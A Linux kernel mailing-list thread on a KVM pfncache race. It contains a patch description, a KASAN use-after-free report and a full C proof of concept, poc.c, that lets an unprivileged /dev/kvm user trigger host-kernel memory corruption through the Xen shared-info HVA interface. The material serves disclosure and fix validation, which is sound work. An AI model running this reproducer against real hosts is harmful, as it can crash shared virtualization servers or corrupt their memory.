Re: [PATCH] KVM: pfncache: track all MMU notifier invalidations

David Lee <[email protected]>
Newsgroups org.kernel.vger.stable,org.kernel.vger.kvm,org.kernel.vger.linux-kernel
Message-ID <CAC_etQGgLq9fxr5kG=VmndnRENZZTFnLr_PKTHKiPYjn-zYuFA@mail.gmail.com>
Hi Sean,

Please refer to the attached reproducer.

Required configuration:
* CONFIG_KVM
* CONFIG_KVM_XEN
* An x86 KVM host

CONFIG_KASAN is not required for the vulnerability, but it is used to
produce the attached diagnostic output.

========== Reproduction ==========
Step 1: Build and boot an affected x86 kernel with CONFIG_KVM,
CONFIG_KVM_XEN, and CONFIG_KASAN enabled.

The confirmed kernel source revision is:

~
a13c140cc289c0b7b3770bce5b3ad42ab35074aa
~

Step 2: Compile the attached `poc.c`:

~
gcc -static -O2 -Wall -Wextra -pthread -o poc poc.c
~

Step 3: Run the PoC as a non-root user that has permission to open
`/dev/kvm`:

~
./poc
~

The PoC creates a KVM VM without any memslots, maps one anonymous page,
and runs two threads on separate CPUs. One thread repeatedly activates
and deactivates the Xen shared-info HVA cache. The other repeatedly
discards the backing page with `MADV_DONTNEED`.

The race is timing-dependent. The supplied PoC runs for 90 seconds. On
the confirmed test system it produced the attached KASAN report in
`splash.txt`.

Best regards,
David

On Tue, Aug 11, 2026 at 10:40 AM Sean Christopherson <[email protected]>
wrote:

> +David W
>
> On Mon, Aug 10, 2026, David Lee wrote:
> > From: Kyle Zeng <[email protected]>
> >
> > There is a race condition in KVM's gfn-to-pfn cache refresh and MMU
> > notifier handling. An HVA-backed cache can publish a stale PFN and
> > kernel virtual address after the corresponding userspace mapping has
> > been invalidated. The Xen shared-info HVA interface immediately reads
> > and writes through that stale address, resulting in a host-kernel
> > use-after-free.
> >
> > The cache refresh path in virt/kvm/pfncache.c drops gpc->lock while
> > resolving and mapping an HVA. It uses mn_active_invalidate_count and
> > mmu_invalidate_seq to detect an MMU notifier interval that overlaps
> > this unlocked window. However, mmu_invalidate_seq is advanced only
> > when the invalidated HVA overlaps a KVM memslot. HVA-backed caches are
> > explicitly allowed to refer to memory outside all memslots. If such an
> > invalidation starts and finishes while gpc->valid is false, the active
> > count returns to zero without a sequence change and the refresh accepts
> > a stale PFN.
> >
> > An unprivileged process with access to /dev/kvm can reach this path with
> > KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA. KASAN-detected use-after-free in
> > kvm_xen_shared_info_init(). The affected function reads and writes Xen
> > wall-clock fields through the stale mapping, so the issue can cause a
> > host-kernel crash and memory corruption.
> >
> > The attached KASAN output confirms:
> >
> >   BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0
> [kvm]
> >   Read of size 4 at addr ffff888046000900 by task poc/1266
> >
> > Add a notifier-specific sequence that advances for every completed
> > invalidate interval before mn_active_invalidate_count is decremented,
> > and use that sequence for pfncache retry. The existing barrier pairing
> > then guarantees refresh observes either an active invalidation or a
> > sequence change.
> >
> > Fixes: 721f5b0dda78 ("KVM: pfncache: allow a cache to be activated with
> a fixed (userspace) HVA")
> > Cc: [email protected] # 6.9+
> > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> > Signed-off-by: Kyle Zeng <[email protected]>
> > Co-developed-by: David Lee <[email protected]>
> > Signed-off-by: David Lee <[email protected]>
> > ---
> > Bug found and triaged by OpenAI Security Research and
> > validated by Trail of Bits.
> >
> > Trail of Bits has a reproducer for this bug that triggers a
> > KASAN use-after-free and can share if needed.
>
> Go ahead and share, syzbot has been reporting this race for some time,
> i.e. how
> to repro this isn't exactly a secret, and the more testcases the better.
> This is
> also like the fourth or fifth proposed fix for the bug (bugs?).  I think
> the most
> recent version of the fix we are pursuing is here:
>
> https://lore.kernel.org/all/[email protected]
>
> Thanks!
>
splash.txt (text/plain, 6.9 KB)
[  232.327844] ==================================================================
[  232.327844] BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
[  232.327844] Read of size 4 at addr ffff888046000900 by task poc/1266
[  232.327844] 
[  232.327844] CPU: 0 UID: 1000 PID: 1266 Comm: poc Not tainted 7.2.0-rc3-kasan #1 PREEMPT(lazy) 
[  232.327844] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[  232.327844] Call Trace:
[  232.327844]  <TASK>
[  232.327844]  dump_stack_lvl+0x5f/0x90
[  232.327844]  print_report+0x15b/0x4ec
[  232.327844]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[  232.327844]  ? kasan_addr_to_slab+0xd/0x80
[  232.327844]  kasan_report+0xf2/0x130
[  232.327844]  ? kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
[  232.327844]  ? kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
[  232.327844]  __asan_report_load_n_noabort+0xf/0x20
[  232.327844]  kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
[  232.327844]  kvm_xen_hvm_set_attr+0xbe0/0x1a40 [kvm]
[  232.327844]  ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm]
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __pfx_kvm_arch_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_mutex_unlock+0x10/0x10
[  232.327844]  ? __pfx__raw_spin_lock+0x10/0x10
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? mutex_unlock+0x83/0xe0
[  232.327844]  ? __pfx_mutex_unlock+0x10/0x10
[  232.327844]  ? kvm_gpc_deactivate+0x8d/0x530 [kvm]
[  232.327844]  ? kvm_xen_hvm_set_attr+0x377/0x1a40 [kvm]
[  232.327844]  ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_arch_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  ? kvm_gpc_deactivate+0x8d/0x530 [kvm]
[  232.327844]  ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm]
[  232.327844]  ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fdget+0x30d/0x4b0
[  232.327844]  __x64_sys_ioctl+0x147/0x1e0
[  232.327844]  x64_sys_call+0x103b/0x2390
[  232.327844]  do_syscall_64+0xdd/0x640
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fput+0x27/0xa0
[  232.327844]  ? __kasan_check_read+0x11/0x20
[  232.327844]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fput+0x27/0xa0
[  232.327844]  ? __kasan_check_read+0x11/0x20
[  232.327844]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? __kasan_check_read+0x11/0x20
[  232.327844]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fput+0x27/0xa0
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fput+0x27/0xa0
[  232.327844]  ? __kasan_check_read+0x11/0x20
[  232.327844]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? do_syscall_64+0x94/0x640
[  232.327844]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  232.327844] RIP: 0033:0x41665d
[  232.327844] Code: 04 25 28 00 00 00 48 89 45 c8 31 c0 48 8d 45 10 c7 45 b0 10 00 00 00 48 89 45 b8 48 8d 45 d0 48 89 45 c0 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1a 48 8b 45 c8 64 48 2b 04 25 28 00 00 00
[  232.327844] RSP: 002b:0000778a148a4040 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[  232.327844] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 000000000041665d
[  232.327844] RDX: 0000778a148a40a0 RSI: 000000004048aec9 RDI: 0000000000000004
[  232.327844] RBP: 0000778a148a4090 R08: 0000000000000000 R09: 0000000000000001
[  232.327844] R10: 0000000000000008 R11: 0000000000000246 R12: 0000778a148a46c0
[  232.327844] R13: 00007ffeee4a0ee0 R14: 0000778a148a4ce4 R15: 00007ffeee4a0fd7
[  232.327844]  </TASK>
[  232.327844] 
[  232.327844] The buggy address belongs to the physical page:
[  232.327844] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x778a150a6 pfn:0x46000
[  232.327844] flags: 0xfffffc0000000(node=0|zone=1|lastcpupid=0x1fffff)
[  232.327844] raw: 000fffffc0000000 ffffea00010e1fc8 ffff88811aecb670 0000000000000000
[  232.327844] raw: 0000000778a150a6 0000000000000000 00000000ffffffff 0000000000000000
[  232.327844] page dumped because: kasan: bad access detected
[  232.327844] 
[  232.327844] Memory state around the buggy address:
[  232.327844]  ffff888046000800: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844]  ffff888046000880: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844] >ffff888046000900: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844]                    ^
[  232.327844]  ffff888046000980: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844]  ffff888046000a00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844] ==================================================================
[  232.327844] Disabling lock debugging due to kernel taint
poc.c (application/octet-stream, 2.4 KB)
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/kvm.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <time.h>
#include <unistd.h>

#define PAGE_BYTES 4096
#define RUN_SECONDS 90

static atomic_int stop;
static void *shared_info_page;
static int vmfd;

static void fail(const char *what)
{
	fprintf(stderr, "%s: %s\n", what, strerror(errno));
	exit(EXIT_FAILURE);
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set))
		fail("sched_setaffinity");
}

static void *discard_page(void *unused)
{
	(void)unused;
	pin_to_cpu(1);

	while (!atomic_load_explicit(&stop, memory_order_relaxed)) {
		if (madvise(shared_info_page, PAGE_BYTES, MADV_DONTNEED))
			fail("madvise");
	}

	return NULL;
}

static void *refresh_cache(void *unused)
{
	struct kvm_xen_hvm_attr activate = {
		.type = KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA,
		.u.shared_info.hva = (uintptr_t)shared_info_page,
	};
	struct kvm_xen_hvm_attr deactivate = {
		.type = KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA,
		.u.shared_info.hva = 0,
	};

	(void)unused;
	pin_to_cpu(0);

	while (!atomic_load_explicit(&stop, memory_order_relaxed)) {
		if (ioctl(vmfd, KVM_XEN_HVM_SET_ATTR, &activate) && errno != EFAULT)
			fail("KVM_XEN_HVM_SET_ATTR activate");
		if (ioctl(vmfd, KVM_XEN_HVM_SET_ATTR, &deactivate))
			fail("KVM_XEN_HVM_SET_ATTR deactivate");
	}

	return NULL;
}

int main(void)
{
	struct timespec duration = { .tv_sec = RUN_SECONDS };
	pthread_t discard_tid, refresh_tid;
	int kvmfd;

	kvmfd = open("/dev/kvm", O_RDWR | O_CLOEXEC);
	if (kvmfd < 0)
		fail("open /dev/kvm");

	vmfd = ioctl(kvmfd, KVM_CREATE_VM, 0);
	if (vmfd < 0)
		fail("KVM_CREATE_VM");

	shared_info_page = mmap(NULL, PAGE_BYTES, PROT_READ | PROT_WRITE,
				MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (shared_info_page == MAP_FAILED)
		fail("mmap");
	*(volatile unsigned char *)shared_info_page = 0;

	if (pthread_create(&discard_tid, NULL, discard_page, NULL))
		fail("pthread_create");
	if (pthread_create(&refresh_tid, NULL, refresh_cache, NULL))
		fail("pthread_create");

	nanosleep(&duration, NULL);
	atomic_store_explicit(&stop, 1, memory_order_relaxed);
	pthread_join(discard_tid, NULL);
	pthread_join(refresh_tid, NULL);

	return EXIT_SUCCESS;
}
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.